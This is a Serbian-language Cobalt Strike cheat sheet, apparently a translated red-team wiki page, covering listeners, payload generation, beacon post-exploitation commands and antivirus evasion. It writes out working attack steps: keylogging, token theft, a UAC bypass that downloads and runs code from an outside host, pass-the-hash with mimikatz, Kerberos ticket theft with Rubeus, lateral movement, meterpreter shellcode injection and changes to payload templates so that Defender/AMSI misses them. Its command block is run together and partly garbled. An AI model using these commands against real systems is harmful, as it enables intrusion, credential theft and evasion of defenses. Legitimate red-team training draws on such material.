Cobalt Strike -> Listeners -> Add/Edit zatim možete odabrati gde da slušate, koju vrstu beacon-a da koristite (http, dns, smb...) i još mnogo toga.
Peer2Peer Listeners
Beaconi ovih slušalaca ne moraju direktno da komuniciraju sa C2, mogu da komuniciraju sa njim putem drugih beacon-a.
Cobalt Strike -> Listeners -> Add/Edit zatim treba da odaberete TCP ili SMB beacone
TCP beacon će postaviti slušalac na odabranom portu. Da biste se povezali na TCP beacon, koristite komandu connect <ip> <port> iz drugog beacon-a
smb beacon će slušati na pipename-u sa odabranim imenom. Da biste se povezali na SMB beacon, morate koristiti komandu link [target] [pipe].
Generate & Host payloads
Generate payloads in files
Attacks -> Packages ->
HTMLApplication za HTA datoteke
MS Office Macro za kancelarijski dokument sa makroom
Windows Executable za .exe, .dll ili servis .exe
Windows Executable (S) za stageless .exe, .dll ili servis .exe (bolje stageless nego staged, manje IoCs)
Generate & Host payloads
Attacks -> Web Drive-by -> Scripted Web Delivery (S) Ovo će generisati skriptu/izvršni fajl za preuzimanje beacon-a iz cobalt strike-a u formatima kao što su: bitsadmin, exe, powershell i python
Host Payloads
Ako već imate datoteku koju želite da hostujete na web serveru, samo idite na Attacks -> Web Drive-by -> Host File i odaberite datoteku za hostovanje i konfiguraciju web servera.
Beacon Options
# Izvrši lokalni .NET binarni fajlexecute-assembly</path/to/executable.exe># Screenshotsprintscreen# Napravite jedan screenshot putem PrintScr metodescreenshot# Napravite jedan screenshotscreenwatch# Napravite periodične screenshot-ove desktop-a## Idite na View -> Screenshots da ih vidite# keyloggerkeylogger [pid] [x86|x64]## View > Keystrokes da vidite pritisnute tastere# portscanportscan [pid] [arch] [targets] [ports] [arp|icmp|none] [max connections] # Umetnite portscan akciju unutar drugog procesaportscan [targets] [ports] [arp|icmp|none] [max connections]# Powershell# Uvezi Powershell modulpowershell-importC:\path\to\PowerView.ps1powershell<justwritepowershellcmdhere># User impersonation## Generisanje token-a sa kredencijalimamake_token [DOMAIN\user] [password] #Kreirajte token za impersonaciju korisnika u mrežils \\computer_name\c$ # Pokušajte da koristite generisani token za pristup C$ na računarurev2self# Prestanite da koristite token generisan sa make_token## Korišćenje make_token generiše događaj 4624: Račun je uspešno prijavljen. Ovaj događaj je veoma čest u Windows domenima, ali se može suziti filtriranjem po tipu prijavljivanja. Kao što je pomenuto, koristi LOGON32_LOGON_NEW_CREDENTIALS koji je tip 9.# UAC Bypasselevatesvc-exe<listener>elevateuac-token-duplication<listener>runasadminuac-cmstpluapowershell.exe-nop-whidden-c"IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"## Ukradi token iz pid## Kao make_token, ali krade token iz procesasteal_token [pid] # Takođe, ovo je korisno za mrežne akcije, ne lokalne akcije## Iz API dokumentacije znamo da ovaj tip prijavljivanja "omogućava pozivaocu da klonira svoj trenutni token". Zato izlaz Beacon-a kaže Impersonated <current_username> - impersonuje naš vlastiti klonirani token.ls \\computer_name\c$ # Pokušajte da koristite generisani token za pristup C$ na računarurev2self# Prestanite da koristite token iz steal_token## Pokreni proces sa novim kredencijalimaspawnas [domain\username] [password] [listener] #Uradite to iz direktorijuma sa pristupom za čitanje kao: cd C:\## Kao make_token, ovo će generisati Windows događaj 4624: Račun je uspešno prijavljen, ali sa tipom prijavljivanja 2 (LOGON32_LOGON_INTERACTIVE). Detaljno će prikazati korisnika koji poziva (TargetUserName) i impersoniranog korisnika (TargetOutboundUserName).## Umetni u procesinject [pid] [x64|x86] [listener]## Iz OpSec tačke gledišta: Ne vršite cross-platform injekciju osim ako zaista ne morate (npr. x86 -> x64 ili x64 -> x86).## Pass the hash## Ovaj proces modifikacije zahteva patch-ovanje LSASS memorije što je visoko rizična akcija, zahteva lokalne admin privilegije i nije uvek izvodljivo ako je zaštićen proces svetlosti (PPL) omogućen.pth [pid] [arch] [DOMAIN\user] [NTLM hash]pth [DOMAIN\user] [NTLM hash]## Pass the hash kroz mimikatzmimikatzsekurlsa::pth/user:<username>/domain:<DOMAIN>/ntlm:<NTLMHASH>/run:"powershell -w hidden"## Bez /run, mimikatz pokreće cmd.exe, ako se pokrećete kao korisnik sa Desktop-om, videće ljusku (ako se pokrećete kao SYSTEM, dobro ste prošli)steal_token<pid>#Ukradi token iz procesa koji je kreirao mimikatz## Pass the ticket## Zatraži tiketexecute-assemblyC:\path\Rubeus.exeasktgt/user:<username>/domain:<domain>/aes256:<aes_keys>/nowrap/opsec## Kreirajte novu sesiju prijavljivanja za korišćenje sa novim tiketom (da ne prepišete kompromitovani)make_token<domain>\<username>DummyPass## Napišite tiket na mašini napadača iz powershell sesije & učitajte ga[System.IO.File]::WriteAllBytes("C:\Users\Administrator\Desktop\jkingTGT.kirbi", [System.Convert]::FromBase64String("[...ticket...]"))kerberos_ticket_useC:\Users\Administrator\Desktop\jkingTGT.kirbi## Pass the ticket iz SYSTEM## Generišite novi proces sa tiketomexecute-assemblyC:\path\Rubeus.exeasktgt/user:<USERNAME>/domain:<DOMAIN>/aes256:<AESKEY>/nowrap/opsec/createnetonly:C:\Windows\System32\cmd.exe## Ukradi token iz tog procesasteal_token<pid>## Ekstraktuj tiket + Pass the ticket### Lista tiketaexecute-assemblyC:\path\Rubeus.exetriage### Dump-uj interesantan tiket po luidexecute-assemblyC:\path\Rubeus.exedump/service:krbtgt/luid:<luid>/nowrap### Kreirajte novu sesiju prijavljivanja, zabeležite luid i processidexecute-assemblyC:\path\Rubeus.execreatenetonly/program:C:\Windows\System32\cmd.exe### Umetnite tiket u generisanu sesiju prijavljivanjaexecute-assemblyC:\path\Rubeus.exeptt/luid:0x92a8c/ticket:[...base64-ticket...]### Na kraju, ukradite token iz tog novog procesasteal_token<pid># Lateral Movement## Ako je token kreiran, biće korišćenjump [method] [target] [listener]## Metode:## psexec x86 Koristite servis za pokretanje Service EXE artefakta## psexec64 x64 Koristite servis za pokretanje Service EXE artefakta## psexec_psh x86 Koristite servis za pokretanje PowerShell one-liner-a## winrm x86 Pokrenite PowerShell skriptu putem WinRM## winrm64 x64 Pokrenite PowerShell skriptu putem WinRMremote-exec [method] [target] [command]## Metode:## psexec Daljinsko izvršavanje putem Service Control Manager-a## winrm Daljinsko izvršavanje putem WinRM (PowerShell)## wmi Daljinsko izvršavanje putem WMI## Da biste izvršili beacon sa wmi (nije u jump komandi) samo otpremite beacon i izvršite gabeacon> uploadC:\Payloads\beacon-smb.exebeacon> remote-execwmisrv-1C:\Windows\beacon-smb.exe# Pass session to Metasploit - Through listener## Na metaploit hostumsf6>useexploit/multi/handlermsf6exploit(multi/handler) >setpayloadwindows/meterpreter/reverse_httpmsf6exploit(multi/handler) >setLHOSTeth0msf6exploit(multi/handler) >setLPORT8080msf6exploit(multi/handler) >exploit-j## Na cobalt: Listeners > Add i postavite Payload na Foreign HTTP. Postavite Host na 10.10.5.120, Port na 8080 i kliknite na Save.beacon> spawnmetasploit## Možete samo pokrenuti x86 Meterpreter sesije sa stranim slušateljem.# Pass session to Metasploit - Through shellcode injection## Na metasploit hostumsfvenom-pwindows/x64/meterpreter_reverse_httpLHOST=<IP>LPORT=<PORT>-fraw-o/tmp/msf.bin## Pokrenite msfvenom i pripremite multi/handler slušalac## Kopirajte bin fajl na cobalt strike hostpsshinject<pid>x64C:\Payloads\msf.bin#Injektujte metasploit shellcode u x64 proces# Pass metasploit session to cobalt strike## Generišite stageless Beacon shellcode, idite na Attacks > Packages > Windows Executable (S), odaberite željeni slušalac, odaberite Raw kao tip izlaza i odaberite Use x64 payload.## Koristite post/windows/manage/shellcode_inject u metasplotu da injektujete generisani cobalt strike shellcode# Pivoting## Otvorite socks proxy u teamserver-ubeacon> socks1080# SSH connectionbeacon> ssh10.10.17.12:22usernamepassword
Avoiding AVs
Artifact Kit
Obično u /opt/cobaltstrike/artifact-kit možete pronaći kod i prethodno kompajlirane šablone (u /src-common) payload-a koje cobalt strike koristi za generisanje binarnih beacon-a.
Korišćenjem ThreatCheck sa generisanim backdoor-om (ili samo sa kompajliranim šablonom) možete otkriti šta uzrokuje aktivaciju defanzivnog sistema. Obično je to string. Stoga možete samo modifikovati kod koji generiše backdoor tako da taj string ne pojavi u konačnom binarnom fajlu.
Nakon modifikacije koda, samo pokrenite ./build.sh iz istog direktorijuma i kopirajte dist-pipe/ folder u Windows klijent u C:\Tools\cobaltstrike\ArtifactKit.
Ne zaboravite da učitate agresivni skript dist-pipe\artifact.cna kako biste naznačili Cobalt Strike-u da koristi resurse sa diska koje želimo, a ne one koji su učitani.
Resource Kit
Folder ResourceKit sadrži šablone za Cobalt Strike-ove skriptne payload-e uključujući PowerShell, VBA i HTA.
Korišćenjem ThreatCheck sa šablonima možete pronaći šta defender (AMSI u ovom slučaju) ne voli i modifikovati to:
Modifikovanjem otkrivenih linija može se generisati šablon koji neće biti uhvaćen.
Ne zaboravite da učitate agresivni skript ResourceKit\resources.cna da biste naznačili Cobalt Strike-u da koristi resurse sa diska koje želimo, a ne one učitane.